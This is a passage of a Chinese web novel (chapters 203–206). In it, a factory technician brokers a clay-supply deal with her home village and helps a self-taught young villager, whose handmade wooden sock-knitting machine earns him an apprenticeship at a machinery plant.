她不由在心里感慨,到底是日子过舒心了啊。 蔡婶子喜出望外,脸上的笑容都快溢出来了,眼睛眯成了一条缝,连忙伸手拉住姜海棠的手,热情地往屋里拽。 “大柱他爹,你快去三叔公家借宿一晚!大柱,你去你二叔家睡!”那声音又高又亮,满是欢喜。 赵大山听到妻子的吩咐,二话不说,转身就快步走向里屋去收拾铺盖,动作麻溜又迅速。 大柱却没有立即去收拾铺盖,而是带着一脸憨厚的笑容,慢悠悠地凑到蔡婶子和姜海棠跟前。 他挠了挠头,那一头乌黑的短发被他挠得有些凌乱,黝黑的脸上泛着质朴的光。 姜海棠对勤劳肯干的大柱印象挺好。 见大柱凑过来,笑着问道:“大柱,最近在忙什么呢?” “就是种地呗。海棠姐,你在纺织厂工作?是不是有很多新奇的机器?” 姜海棠倒是很意外大柱竟然对这些有兴趣,随即好奇地问道:“你对机械有兴趣?” 大柱的脸一下子红了起来,像是被夕阳染上了色彩,有些不好意思地点点头。 “喜欢,但没见过厂里的先进机器。上次去你们厂,就只听到机器轰鸣的声音了。”他说话的时候,脸上都是心之向往的表情。 “我们厂进了几台新式织袜机,可先进了。要是你能争取到帮厂里送土的活,我就带你去看看。”姜海棠眼中带着鼓励,看着大柱说道。 大柱的眼睛一下子亮了起来,就像夜空中闪烁的星星,满是惊喜与期待。 “真的吗?海棠姐,你说的织袜机,是不是那种能自己织出袜子的机器?” “对,就是那种。一台机器一天能织上百双袜子,而且花纹样式都能自动变换。” 她的手在空中上下舞动,试图让大柱更直观地理解。 “这么厉害!”大柱不禁惊叹道,嘴巴张得大大的,满脸的不可思议,“那得多少人看着机器啊?” “一个人照看一台就行了,不用太多人。”姜海棠笑着回答,笑容里带着几分自豪。 蔡婶子也听得入神,眼睛直直地盯着姜海棠,嘴里念叨着:“哎哟,那以后咱们是不是也能穿上机器织的袜子了?” “当然可以。不过现在织袜机还没有正式投产,再过几个月肯定能在供销社买到。”姜海棠点点头,肯定地说道。 大柱又问:“海棠姐,你说……咱们大队能不能也弄台这样的机器?” 姜海棠有些意外,微微挑起眉毛,问道:“你想办厂?” 大柱不好意思地搓着手,手上因为常年劳作布满了老茧。 “我就是想着,要是能学会用这些机器,以后说不定能让咱们大队的日子好过些,我们大队太穷了,隔壁大队有拖拉机,我们都没有。” 说到后面,他的声音渐渐低了下去,带着一丝无奈与不甘。 姜海棠从这个年轻人的脸上看到了不屈。 她想着,上辈子,大柱的日子是什么样的? 改革开放之后就去了城里,好像闯出了一点名堂,蔡婶子和大山叔两口子也被接走了,再后来,她忙着养活那一家子人,淡了联系,也就不知道他们的情况了。 蔡婶子拍了下儿子的后背,语气里带着几分嗔怪:“你这孩子,尽想些不切实际的!有这时间,多挖点儿土给你海棠姐他们送过去,年底也能多分几毛钱。” 姜海棠听了这话,心里有点心酸。 她太清楚清水沟大队的情况,这里每年年底分的粮食,都不够一家子人一年四季嚼用的,更别说分钱了。 村民们每天起早贪黑地劳作,却依旧难以摆脱贫困的生活。 所以,才会连一吨土五块钱这样的活儿都愿意干。 “大柱,你的想法很好,我回头带你去看机器,你要是能看明白,我就给你个机会到厂里学习。” 姜海棠认真地看着大柱,眼神里满是真诚。 “真的可以?”大柱激动得声音都有些颤抖了,眼里闪烁着希望的光芒。 “不过,你只是去学习,没有工资,你愿意不?”姜海棠接着说道。 蔡婶子迟疑了,她心里明白,这么大的一个小伙子,要是不上工,工分肯定要受损失。 可看着儿子两眼闪闪发光,满是期待的样子,那些阻拦的话到了嘴边,到底也没说出来。 大柱激动得差点跳起来,双手紧紧地握在一起,声音高亢地说:“真的吗?海棠姐,我能去学吗?” “得看你自己的表现,现在国家提倡发展社队企业,如果你能学会,就有机会。”姜海棠耐心地解释道。 蔡婶子看着儿子期待的眼神,心里叹了一口气,还是决定帮儿子说说话:“海棠啊,要是真能成,你可要帮帮这小子。他从小就喜欢捣鼓这些机械玩意儿。能不能学会,都让他试试。” 姜海棠便开始给大柱讲起织袜机的原理,她讲得很仔细,从机器的构造到运转的原理,再到如何操作,每一个细节都不放过。 大柱听得更认真,眼睛一眨不眨地盯着姜海棠,生怕错过任何一个字。到了后来,大柱干脆拿出本子和纸,快速地记录起来。 两个人一个说一个听,时间就在这热烈的交流中不知不觉地过去了。 还是蔡婶子看了看天色,发现已经很晚了,这才催促两个人睡觉。 大柱这才意犹未尽地放下笔,离开去寻住处。 走的时候,他还一步三回头,满是不舍。 蔡婶子一边铺炕一边感叹:“这孩子,打小就对那些个铁疙瘩着迷。十岁那年偷偷把大队里的打谷机拆了又装上……” 姜海棠还记得这事儿呢,听蔡婶子提起来,不由笑出了声。 “我记得,当时大山叔追着大柱围着大队跑了两大圈,大柱挨了好一顿打,走路都一瘸一拐的。” 想起当时的情况,蔡婶子也笑了。 两个人躺下来,姜海棠帮蔡婶子抻平被角,动作轻柔又贴心:“大柱有天赋。” 躺在炕上,盖着晒得一股阳光味道的被子,姜海棠望着窗外的月光,心里已经有了打算。 “海棠啊,你在城里过得好不?有没有人欺负你?”蔡婶子不知道姜海棠想些什么,她问出了今天一直想问的问题。 姜海棠轻轻摇摇头,脸上带着一抹淡淡的微笑:“厂里的人都很好。” “我听说,李家人犯事儿,不会影响到你吧?”蔡婶子又问道,语气里带着一丝忐忑。 “我和他们早就断了关系,没有影响到我。”姜海棠平静地回答。 如果不是她对厂里有功劳,又是亲手抓的李胜利,说不定还真的会影响到她。 听到姜海棠这个回答,蔡婶子才安心了许多,她一直悬着的心终于落了地。 从听说李家出事,她就一直担心姜海棠会不会被牵连,这些天总念叨着。 “海棠啊,你有没有找个对象,你还年轻,可不能因为……”蔡婶子欲言又止。 “婶儿,我已经订婚了,后半年就结婚。”姜海棠红着脸说道。 “谁啊?小伙子长得好不好?”蔡婶子急切地问,眼神里满是好奇。 “您见过,就是上次来过咱们大队的陆厂长!”姜海棠有些羞涩地说。 蔡婶子眼睛一亮,脸上露出惊喜的笑容:“陆厂长?上回大柱回来说,陆厂长对你好,猜着你俩有戏,我还骂他,没想到是真的。” 高兴过后,蔡婶子又忧愁起来:“海棠啊,他家里啥情况,条件好不好?会不会嫌弃你?” 姜海棠脸更红了,轻声说:“他家里情况挺好的,我见过他们家的长辈,对我也挺好。” “哎呀!这可是好事!你要是能找个这样的对象,婶子就放心了!”蔡婶子一拍被子,声音都大了起来,“果然有福之女不进无福之门。” 那李家放着这么好的媳妇不要,活该他们倒霉! “婶儿回头就给你做鞋、做垫鞋子,还要再绣上一对儿枕头套子……”蔡婶子兴致勃勃地说着,仿佛要打发闺女出嫁的老母亲一样。 听着蔡婶子这些暖心的话,姜海棠忽然就轻轻笑了。 隔壁屋里的老周和小陈三个,也在说蔡婶子一家人。 老周、小吴和小陈还有小李几人挤在炕上,因为地方狭窄,大家都有些局促。 小陈裹了裹被子,把自己裹得像个蚕蛹,嘟囔着说:“小吴师傅,你不是说,清水沟的人特别难缠吗?我看着还行吧。” “那是你没见上次我们来的时候,要不是陆厂长,姜工估计都回不去了。”小吴撇撇嘴说,脸上还带着一丝不满。 “是不是被什么人给煽动了?”小陈好奇地问。 “可不,就李胜利的老娘和妹妹,她们煽动了几个光棍,说要把姜工许配给几个光棍当媳妇,那几个人,当场就和疯了一样……” 小吴想起来的时候,还恨得牙痒痒,脸上的表情都有些扭曲了。 “那就不奇怪了,你家里是城里的,不知道乡下娶不到媳妇的光棍们有多疯狂,白得一个媳妇的机会,没有几个人会放弃。”老周叹一口气说:“早几年,我老家那里,有一家子男人死了,把男人埋了的当天晚上,女人就被抢走了,村子里的人也是睁一眼闭一眼,都是穷给闹的。” 第204章 人心换人心 小吴没说话,老周接着说:“清水沟应该也有坏人,可这世上,哪里没几个坏种?但大部分人是好人就不错了。今天听说能卖土赚钱,全村人都高兴得跟什么似的。老百姓图什么?不就图个温饱嘛!” 小陈翻了个身,插嘴道:“我觉得这里的人挺好的。你们看蔡婶子一家,多实在啊!姜工不是还说过,以前李胜利不在,他们家老的小的瘫的,就靠邻居们接济才能活下来。” “行了行了,咱们赶紧睡觉吧!”老周打了个哈欠,打断争辩,“明天还要早起。” 几个人渐渐安静下来,屋子里只剩下轻微的呼吸声。 屋外,月光洒落,如水般温柔地笼罩着整个村庄。 偶尔传来几声虫鸣,在这寂静的夜晚显得格外清晰,衬得夜色更加静谧安逸。 而此时,同一片月光下,在二叔家借宿的大柱也辗转难眠。 他躺在炕上,翻来覆去,脑海里全是姜海棠说的那些先进机器。 他是真的兴奋,兴奋自己能有个好机会看看真正的先进机器。 这个晚上,大柱做了一个梦,梦见自己真的搞出了织袜机,让清水沟的人都过上了好日子。 大家脸上都洋溢着幸福的笑容,村子里盖起了新房,孩子们在宽敞的操场上快乐地玩耍…… 早上起床,阳光已经透过窗户洒在屋子里。 姜海棠帮着铺炕,动作娴熟又利落。 将被子折好,她看到炕上放着几个精致的荷包,眼睛一下子被吸引住了。 “婶子,您这荷包绣得真好看。” 那荷包绣工精细,上面的图案栩栩如生,一看就知道花了不少心思。 蔡婶子笑得眼睛眯成一条缝,脸上满是自豪:“这是闲暇时候做的,里面装了些熏蚊子的草药,你带回去,我听说,城里的蚊子比咱乡下的毒。” 姜海棠被蔡婶子的话给逗笑了:“婶儿,那不能,城里的蚊子和咱们乡下的差不多。” 两人正说着话,外面传来一阵脚步声,由远及近,间或还有女人们叽叽喳喳的声音。 原来是赵大山带着几个邻居来了,他们手里还提着篮子,拎着这种东西。 “海棠啊,你今天就要回去了?我们来看看你,也给你道个歉。” 说话的是二赖子的本家婶子,叫康生芳,二赖子的爹娘都没了,最亲的就是几个本家叔叔。 姜海棠听了她这话也明白她话里的意思。 “婶子您客气了,到底也不是您生的,您没错。”姜海棠温和地说。 姜海棠对二赖子自是不会有什么好印象,但康生芳这个人还不错,她没打算迁怒。 “上次你回来的时候,我正好不在,要是在,多少要管着点。”康生芳有些愧疚地说。 话虽然如此说,但姜海棠清楚,康生芳肯定管不了二赖子,毕竟,二赖子的亲娘都管不了他,就别说本家婶子了。 “这是自家种的萝卜,刚拔的,脆着呢!”康生芳说着,就将一个大大的篮子放在姜海棠的面前。 篮子里不光有萝卜,还有一捆韭菜和一大把的小白菜,水灵灵的,看得出来,刚从地里拔出来,还带着泥土的芬芳。 不等姜海棠拒绝,又有一个大婶也递过来一个陶罐。 “这是家里自己做的醋,给你带上!”大婶热情地说。 不一会儿,姜海棠身边就堆满了乡亲们送来的土特产。有新鲜的蔬菜、自家腌制的咸菜、手工制作的鞋垫……每一样都饱含着乡亲们的热情与心意。 姜海棠连忙推辞:“大家太客气了,我不能要……” “这有啥!你给咱村带来这么好的事儿,大伙儿都念着你的好呢!”九婶子布满老茧的手轻轻拍着姜海棠,眼角笑出细密的皱纹。 “都是自己家里的东西,不值钱,你别嫌弃就好。”又有一个大娘说着又往姜海棠怀里塞了两个自家晒的干辣椒串,红彤彤的辣椒在晨光里泛着油亮的光。 这时,后山“鬼见愁“山坡上已经热闹非凡。 赵志坚戴着褪色的草帽,站在土坡高处扯着嗓子喊:“大伙儿加把劲!先把表层浮土清掉!” 二十多个精壮汉子挥着锄头,铁锨与山石碰撞出清脆的声响。 小陈和小马刚要蹲下取样,大柱一把抢过他们手里的铁铲:“使不得使不得!这石头碴子扎手!” “你们歇歇,这些粗活,我们来就行。”热情的村民根本不给两个人动手的机会。 话音未落,三五个村民已经围上来,有人递水壶,有人帮忙撑开编织袋,转眼间就挖出满满一箩筐带着湿气的高岭土。 看着大家干活认真,赵志坚嘿嘿笑着,卷起裤腿露出被茅草割破的小腿。 “两位同志,昨儿个我们连夜把这块地收拾出来,草都刨到根儿了!这样速度能快点。” 赵志坚指挥人帮忙抬土下山,给姜海棠看。 姜海棠检查了土壤质量,满意地点头:“大家干活真仔细,一点杂质都没有。” “那当然!”赵志坚骄傲地说,“咱们清水沟人做事,从来不含糊!” 不要说这活能让大队里的人赚钱,就算不赚钱,赵志坚也得督促人干好。 好不容易出了个姜海棠,还因为之前的事和大队生了嫌隙,这一次可是难得修复关系的机会。 姜海棠他们带着高岭土回到厂里,吉普车上,除了卸下来一筐高岭土之外,剩下的都是村民们硬塞给姜海棠的东西。 姜海棠看着这么多的蔬菜,最后还是给要好的几家人都分了一些。 刘红梅笑道:“果然此一时彼一时,上次我们去的时候,差点儿出不来村子,这一次你成了贵人了,带回来这么多的好东西。” 姜海棠笑道:“可不。其实仔细想想,都是穷闹的,要是日子过的好,上次那样的事儿肯定不能发生,同样的,他们也不会因为厂里要采购这些土壤就对我这样客气。” 接下来的时间,姜海棠组织小组成员们实验这批高岭土。 经过三天紧张的化验和测试,结果令人振奋,清水沟的高岭土纯度高达92%,完全符合他们的要求。 “太好了!”姜海棠看着实验报告,脸上露出欣慰的笑容,“这下我们的研发可以持续推进了,清水沟的土可以支持我们未来很长时间的需求了。“ 陆良辰接过报告仔细查看,也不由点头:“等他们来送土的时候,先把合同签了。” “好,良辰,我还得去一趟机械厂,我有事儿找毛厂长商量。”姜海棠心里还记挂着大柱的事儿呢。 “怎么忽然要去机械厂?”陆良辰问。 姜海棠咬着下唇,把大柱的事细细说了,末了补充:“蔡婶子当年背我走十几里山路看病,这份恩情我不能忘。” 陆良辰望着她认真的模样,脸上都是温柔的笑。 他的小姑娘啊,是个记得别人恩情的。 “你给毛厂长说,一定能答应。”陆良辰赞许道 三天后赵志坚带着清水沟的几个壮小伙用牛车拉着五吨高岭土到了纺织厂。 周小梅带着人去验了品质,确定没问题。 姜海棠便带着赵志坚去签合同了。 签完合同后,赵志坚拉着姜海棠的手说:“海棠啊,叔代表全大队谢谢你!” 姜海棠其实有点不好意思,这真的就是辛苦钱,毕竟,五吨土才三十块钱,平摊到各家各户少得可怜。 “大队长,您别这样,也是我们厂里正好有需求。”姜海棠忙说。 “这五吨土够我们大队换多少盐巴,够给村里娃买多少作业本啊!” 三十块钱不多,但后续还能继续提供啊,那就能不断赚钱了。 就在这时,大柱挤过人群跑过来:“海棠姐,那个……” 小伙子红了脸,老半天讷讷地没有说出自己的诉求。 姜海棠笑着拍拍他的肩膀:“没忘,我和机械厂那边商量好了,等下就带你去机械厂车间参观。” 大柱激动得脸都红了,半天都没反应过来,竟然是要去机械厂吗? 赵志坚看着大柱这样,多嘴问了一句:“海棠,大柱要去机械厂干啥?” “我之前答应大柱,让他去机械厂那边看看。” 对此,赵志坚只有羡慕,没有嫉妒。 赵志坚望着两人远去的背影,想起三年前那个雪夜,蔡婶子背着烧得说胡话的姜海棠看病的身影。 其他年轻人看着姜海棠和大柱远去,都是羡慕。 但姜海棠并没有邀请其他人一同去,他们也不能就这么跟上去。 赵志坚等看不到姜海棠和大柱两个人,此转头对围观的年轻人说:“都学着点,人心都是肉长的。” 其他年轻人深以为然,蔡婶子家里对姜海棠确实好,所以,姜海棠对大柱好也是应该的。 有些人忍不住后悔,早知道,就该在姜海棠日子艰难的时候帮一帮,说不定,现在也能换得一个机会。 可现在再想这些,已经来不及了。 有些事,错过了就是错过了。 第205章 参观学习 姜海棠带着大柱走进机械厂的大门时,大柱的脚步突然顿住了。 他抬头仰望,三层楼高的烟囱吞吐着灰白烟雾,轰鸣声震得脚下碎石微微发颤。 虽然还没进门,但也能看到厂区内部,这里和他们清水沟完全不同,大柱喉结上下滚动,手心沁出一层薄汗。 “怎么了?” 姜海棠转身时,大柱正用补丁摞补丁的袖口狠蹭掌心,指节泛着青白。 大柱攥紧了衣角,声音有些发颤:“海棠姐,我……我有些害怕,这是啥厂子啊,我去了合适吗?” “这是机械厂,织袜机是机械厂生产的,你在这里可以看得更仔细。” “不会给你带来麻烦吧?海棠姐。”大柱搓着衣角,低垂着脑袋,不敢看姜海棠。 “没事,我和机械厂的毛厂长说好了的,咱们只管进去就行。” 姜海棠正在安抚大柱,忽然身后传来小汽车的声音,姜海棠回头一看,可不就是毛厂长吗? “海棠,你来了,这位就是你说的要带来参观的小同志?”毛厂长摇下窗户问。 “是的,毛厂长。”姜海棠展露笑脸说。 “上车,我带你们过去。陆厂长也真是,就不能安排车送你们来一趟?海棠,要不要考虑下,来我们厂里坐班,偶尔去纺织厂?” 虽然明知道不可能,但毛厂长觉得还是应该问问。 姜海棠笑一笑,没有回答毛厂长的话,不过,她也没客气,拉着大柱就上车。 大柱却更加局促了,膝盖重重磕在门框上都没发觉,这可是小汽车呢,他还是第一次坐。 还有这位同志,海棠姐叫他毛厂长,那就是当官的了,应该比他们公社的书记级别高多了吧? 上了车,大柱一双手都不知道该放在什么地方了,脊背挺直,一句话都不敢说,唯恐说错了什么给姜海棠带来麻烦。 厂区道路蜿蜒如迷宫,大柱死死攥着座椅边缘。 姜海棠和毛厂长很随意地说着话,毛厂长还有其他事儿,在厂办楼下了车,安排司机送他们去车间。 当车停在铸造车间外,热浪裹胁着刺鼻的硫磺味扑面而来,大柱差点被呛得后退,好些个工人正在车间里忙碌着。 如此火热的场景,这让大柱整个人都放松了下来。 到了车间里,大柱的眼睛渐渐亮了起来。 他盯着铁水出神,连飞溅的火星烫到手臂都没察觉。 在机加工车间,车床的嗡鸣震颤着空气。大柱蹲在一台老式车床前,专心致志地用手指悬空描摹着刀具轨迹。 彼时,顾昀笛正好在一旁,大柱的表现被他看到了,笑着说:“这小伙子有点意思,看机器的眼神,跟老匠人看传家宝似的,眼神清澈明亮。” 姜海棠看着大柱笑道:“自小就喜欢这个,十岁的时候,就把村子里唯一一台打谷机够拆了,这也就算了,还能囫囵装起来。” 听到十岁就能拆了打谷机重新组装,顾昀笛也有些震惊,虽然说打谷机的原理比较简单,但对方只是个十岁的孩子,还是个乡下孩子,这就难能可贵。 顾昀笛来了兴趣,走过去问大柱:“你盯着这台铣床看了十分钟,说说,铣刀为什么要斜着装?” 大柱的喉结剧烈滚动,目光扫过铣床底座交错的齿轮,好像看到了清水沟老井旁生锈的轱辘,转动时总把井绳往侧边带。 “是……是为了让铁屑顺着斜度掉出去!”迟疑了好一会儿,最终大柱还是按照自己的想法说了,“就像我们挖水渠,得把土甩到沟外头!” 顾昀笛推眼镜的手顿了顿,他看向大柱的眼睛里闪着光芒。 “小伙子,你今天最想看什么机器?” “织袜机!”大柱回答得很坚决。 顾昀笛说:“走,我们看织袜机去。” 顾昀笛的办公室里就有一台拆成零件的织袜机,顾昀笛给大柱看了图纸,然后又当着大柱的面将织袜机的各个零部件一样样地装起来。 那些交错的连杆、咬合的齿轮,看得大柱整个人兴奋且激动,手指不受控地微微发颤。 “这个弹簧……”他突然开口,想说什么,却又极快的住嘴,慌忙咬住下唇。 顾昀笛鼓励的目光让他鼓起勇气继续说。 许是顾昀笛表现得十分平和,大柱很快也就不局促了,而是放轻松和顾昀笛说话。 虽然大柱说的很多话都不一定对,但顾昀笛却从中感觉到了,这个小伙子是个很有天分的。 “小伙子,明白了吗?”顾昀笛问。 “你好,我,我有些没明白,有些明白了。”大柱有些磕磕巴巴的,说话都不连贯了。 “你很不错,不懂的你可以问我。” 大柱高兴坏了,忙连连感谢顾昀笛。 姜海棠没有开口,只是继续看他们。 “要是让你自己制作,你能制作出来不?”顾昀笛故意问。 大柱挠挠头:“应该不能吧!这个我没学过!” 姜海棠笑着摇摇头:“您太难为他了,他可从来都没接受过系统学习。” 顾昀笛看看姜海棠再看看大柱,对姜海棠说:“说不定,你看走眼了。” 暮色漫进办公室,姜海棠提出要回去。 毛厂长安排了车等着送他们,顾昀笛和大柱在车上的时候,又聊了不少。 回到纺织厂招待所,大柱还很激动,激动得翻来覆去睡不着。 其他小伙子羡慕地说:“大柱,你去机械厂都看到啥了?” 大柱猛地从床上坐起来,眼睛在黑暗中闪闪发亮:“看到啥?看到铁水像糖稀一样流进模子里,看到车床一转就能削出亮闪闪的零件!” 他的声音因为激动而微微发抖,同屋的小伙子们也都坐起身,黑暗中传来窸窸窣窣的响动。 “那个云老师还给我看了织袜机的图纸,”大柱比画着,“上面画着各种齿轮咬合的样子,就跟……就跟……” “跟啥?”半晌等不到大柱说出后面的话,有性子急的人已经等不及开口问了。 大柱突然跳下床,光脚踩在水泥地上,从包袱里摸出个小本子:“你们等着!” 他打开明亮的白炽灯,用铅笔在本子上飞快地画起来,铅笔摩擦纸面的沙沙声在静夜里格外清晰。 不一会儿,他把本子举起来:“看,就是这样!” 几个脑袋凑在一起,只见纸上画着几个精巧的齿轮咬合示意图,旁边还标注着尺寸。 可是,他们都看不懂这是个什么。 “这……这真是你看过就记住的?”有人倒吸一口凉气。 大柱不好意思地挠头,语气有些暗淡下来。 “有些地方记不清了,我瞎画的。” “这都已经很不容易了。” “大柱,没看出来,你小子这么厉害呢?” 几个人说话的声音大起来,房门突然被敲响。 “这么晚了还不睡?我们明天一早就要回去。”是赵志坚的声音。 屋里瞬间鸦雀无声。 大柱慌忙把本子塞到包里,快速地爬回床上。 躺在招待所的床上,第二天回到家里,天色已经晚了,可大柱却说要去山上找点木头。 赵大山问:“你要木头干啥?” “爹,我想着用木头试试,能不能做出一个小型的织袜机。” 赵大山听着儿子这不切合实际的想法,摇摇头,这傻儿子,太天真了,哪有这么容易啊。 要是这么容易,岂不是人人都去城里当工人了? 但看着儿子亮晶晶的眼睛,到嘴边的训斥又咽了回去。 孩子年龄还小,让撞撞南墙也好,省得将来回想起来后悔。 “去吧,别耽误明天上工就行。”赵大山摆摆手。 大柱像得了特赦令,抓起斧头就往山上跑。 月光下,他选中一棵歪脖子枣树,认真地砍下几根粗细不一的枝干。 接下来的日子,大柱像着了魔,白天跟着大伙儿在“鬼见愁“挖土,收工后就躲在仓房里鼓捣木头。 蔡婶子每晚都能从儿子衣服上抖落一层木屑,真是又好气又心疼。 “这孩子魔怔了,”蔡婶子忧心忡忡地对赵大山说,“昨儿半夜我起夜,看见他还在油灯下刻木头,手指头都磨出血了。” 儿子上进是好事,可看着他这样没白天没黑夜,一双手上都是伤疤,当妈的还是心痛。 赵大山蹲在门槛上吧嗒旱烟,烟锅里的火星明明灭灭。 第二天,他从供销社回来,扔给大柱一个小布包:“给,供销社新到的刻刀。” 大柱打开一看,眼睛顿时亮了,三把锃亮的刻刀,刀柄上还缠着防滑的麻绳。 刀柄的防滑麻绳,是他一点点缠上去的,每一道纹路都浸透了老茧的温度。 “爹……” “别磨蹭了,你娘蒸了馍馍,趁热吃。”赵大山转身往外走。 大柱立即冲着赵大山的背影喊道:“爹,谢谢你!” “我是你老子,和我客气啥!”赵大山嘴里说得平静,但走路的姿势都有点不一样了。 这些姜海棠都不知道,他们这段时间也非常忙,因为姜海棠要参加广交会,因此,新材料的研发就要加班加点地搞起来。 好在,他们这个研究小组人虽然少,但都是精兵强将,每一个人都非常努力。 终于,在四月头上,他们的研究出的新型防水防潮防火的军用材料研究得差不多了,虽然还没到能够量产的地步,但已经可以顺利通过实验了。 姜海棠连欢呼庆祝都来不及,将这边的事情交给黎景程等人之后,投入到了广交会的筹备工作中去。 参加广交会的工作人员统一买票,四月十一日集体出发,走的时候,要带不少的东西,因此,提前要做的准备工作非常多。 就在姜海棠忙忙碌碌的时候,大柱那边也终于见到效果了。 这日,大柱神秘兮兮地把父母叫到仓房,一个一尺来长的木制织袜机模型静静摆在木板上。 第206章 哗然 “大柱,你忙了这么长时间,就弄出这么个东西?”蔡婶子围着看了好一会儿,才问。 “娘,你可别小看这个,这是个小型号织袜机,能动。”大柱激动的说。 “这……这真能动?”蔡婶子不敢相信地问。 大柱深吸一口气,轻轻转动模型侧面的把手。 随着一阵咔嗒声,木制的针床竟然真的上下摆动起来,一根麻线被勾着穿梭,渐渐织出一小段粗糙的布片。 是的,不是袜筒,而是布片。 “我也不知道哪里出问题了,没有办法弄出制成圆形的筒,只能织成布片。” “哎呦,儿子,你真是出息了,咱们大队可没有人能搞出这个。”蔡婶子用力地拍了一下儿子的肩膀,夸赞说。 赵大山没有说话,但手却在微微发抖,没想到,儿子竟然真的能搞出这么个东西。 只可惜,他们是乡下人家,要是儿子生在城里,说不定能更有出息一点。 “我想着,过两天送土的时候,带着去问问海棠姐,到底是个啥情况。”大柱觉得,既然自己弄不出来,还是要请教别人。 “今天你没上工,大队长说,明天一早就去送土,你想去就准备准备,等下我找大队长给你说说去。” 第二日,天还没亮,大柱用一块麻布仔细包好模型,跟着大队长心怀忐忑地去纺织厂。 姜海棠知道清水沟的人来了的时候,还挺惊讶的,她以为,距离下一次送高岭土过来,总要等上一段时间。 姜海棠正打算过去的时候,大柱找过来了。 看着大柱怀里抱着东西,姜海棠问:“这是什么?” “海棠姐,我有事要请教你。”大柱局促地说,一双眼睛都不敢看姜海棠。 “什么?你说。” “海棠姐,我自己用木头做了这个,可不知道为啥,就是织不出筒……” 大柱觉得,自己是不是太笨了,明明之前云老师给自己讲解的已经很详细了。 姜海棠没听明白大柱说了什么,当她看到大柱将麻布片打开后,吓一跳。 这分明就是一个木头制作的小号的织袜机啊。 模型不过一尺见方,但每个活动部件都精准还原,连最细微的导纱钩都雕刻得纤毫毕现。 最让姜海棠震惊的是,转动把手时,针床居然真的能动。 “我的天!”姜海棠惊呼,“这真是手工做的?” “我做得不好,织不出袜子。”大柱耳朵都红了:“我才来找你的。” 姜海棠立即给机器装上了线,然后尝试摇动把手。 “我这个没有办法用电,我就自己加装了把手……” “大柱,你太棒了,你等等,我给机械厂打个电话。” 姜海棠说完,一溜烟的去厂办给毛厂长打电话。 不到半小时,毛厂长就带着顾昀笛和向文涛匆匆赶来。 “小子,再演示一遍。”毛厂长的声音有些发抖。 大柱的手心全是汗,差点握不住把手。 但随着模型运转起来,他的眼神越来越专注,甚至开始解释每个部件的原理。 毛厂长和顾昀笛交换了一个眼神。 这小伙子,人才啊,真没想到,小小的清水沟藏龙卧虎,先出现了姜海棠这么一个妖孽,后面又出现大柱这么一个人才。 毛厂长抓住大柱的肩膀,“小伙子,你这个机器,这里有些不对,受力不对,要是真机早散架了。” 大柱脸瞬间红了,却见毛厂长突然大笑:“不过,你第一次能做成这样已经很好了,想不想来我们厂里跟着云老师学本事?” 大柱没有反应过来,还在想着怎么继续改进机器。 “小伙子,当学徒工,你愿意不?要是愿意,你就跟着云老师。”毛厂长又问了一遍。 大柱不懂学徒工是个什么意思,当场就愣住了。 看到大柱不说话,毛厂长以为大柱对于不是正式工不满意,忙说:“不是不给你更高的待遇,是我们厂里还得研究,然后才能招工,等程序走完,你就是我们厂的正式员工了。” 这一次,大柱听明白了,他立即看向姜海棠。 姜海棠笑着说:“还愣着干嘛?这可是天大的好事儿,以后,你就是机械厂的工人了!” 大柱脸上这时候才浮现出笑容,他咧着大嘴傻笑。 “毛厂长,云老师,以后大柱就要拜托你们了。我们乡下的孩子,淳朴老实,要是有做的不好的地方,也请你们多多包涵。”姜海棠客客气气的说。 “海棠啊,还要感谢你,给我们送来这么一个好小伙儿,培养培养,肯定是可造之材。” 赵志坚听到这个消息的时候,心里百味杂陈。 他又是高兴又是嫉妒,高兴的是大队里的娃娃有出息了,大柱这小子,能去大厂里当工人了,遗憾的是,怎么就不是自己的儿子呢? 要是自家小子也有这样的出息,他才高兴呢。 但他还是拍着大柱的肩膀直笑:“好小子!给咱清水沟长脸了!” “都是海棠姐帮我,要不,我连机械厂的门都进不去。”大柱诚恳地说:“海棠姐,谢谢你了,我以后一定报答你。” “你好好干就行了,别让人家说,咱们清水沟出来的都是孬人。” 大柱立即点头:“我一定好好努力,绝对不让别人笑话。” 第二日,大队长赵志坚带着其他年轻小伙子回去了,大柱直接留下了。 姜海棠帮着大柱置办了被褥等日用品,又仔细叮嘱大柱一番之后,这才回去继续忙。 蔡婶子看到大队长回来,没看到自己儿子,吓了一跳,以为儿子惹祸了,忙上前询问情况。 “大山媳妇啊,你们家可是祖坟冒青烟了,大柱这孩子,被招工了,虽然暂时是学徒工,可那个毛厂长说了,过段时间就转正,就是正式工人了。” 赵志坚说这一番话的时候,语气还有一点酸酸的。 可蔡婶子听到这番话,却只以为大队长在哄自己,他们家八辈贫农,连一个城里人都没有,招工这种事,咋可能轮得到他们家? 就算清水沟有招工的机会,也该是大队长家的名额。 她颤抖着嘴唇,半天才挤出一句话:“大队长,您……您没哄我吧?” “哄你干啥?”赵志坚从兜里掏出一张纸条,“喏,这是大柱托我捎回来的,机械厂的地址,让你们有空去看他。大柱说了,暂时不回来,等他啥时候适应了就回家看你和大山。” 到了这时候,蔡婶子才终于相信了。 这时候,牛车跟前已经围过来许多人,听到大柱被招工,一个个羡慕嫉妒又有点酸。 赵大山也在这时候过来了,蔡婶子看到赵大山,立即说:“当家的!当家的!咱儿子出息了!” “大队长,为啥是大柱啊,我家二旺也不错,咋不给招工呢?” “大队长,您做事可要公平,不能厚此薄彼啊,有了好机会,只给大柱,我家大胆子也不错嘞。” “就是,大队里这么多的后生……” “我家平安可比大柱聪明多了,有这种好事也该先让我家平安去啊!” “要是这事儿我说了能算,那我不知道推荐自己家孩子的?”大队长听着这些人的话没好气地怼回去。 他自己还心里酸酸的呢。 “再说了,大柱是上过高中的,你们家的娃呢?小学毕业了没?初中上明白了没?” 围观的人很多,到了晚饭后,几乎大队里所有的人都听到了这个好消息。 赵大山家门口已经围满了人,有来道喜的,有来打听消息的,更多的是来看热闹的。 “大山啊,你家大柱真有出息!”王婶子挎着篮子,里面装着十个鸡蛋,“这点心意给孩子补补身子。” “可不是!”刘小翠挤上前,“大柱从小就机灵,那年把我家缝纫机拆了还能装回去!” 这话引得众人哄笑。 谁不知道当年刘小翠为这事追着大柱打了半个村子?说大柱把他家的缝纫机弄坏了? 赵大山蹲在门槛上,闷头抽着旱烟,脸上的皱纹都舒展开了。 没想到,他赵大山还有这样荣耀的时候呢。 人群外围,几个年轻人凑在一起窃窃私语。 “早知道我也去学点手艺……”栓子懊恼地踢着石子。 “得了吧,你连个板凳都钉不牢。”同伴毫不留情地揭短。 “不过大柱咋突然就命这么好呢?是不是姜海棠帮得忙?” 这话一出,几个小伙子都沉默了。 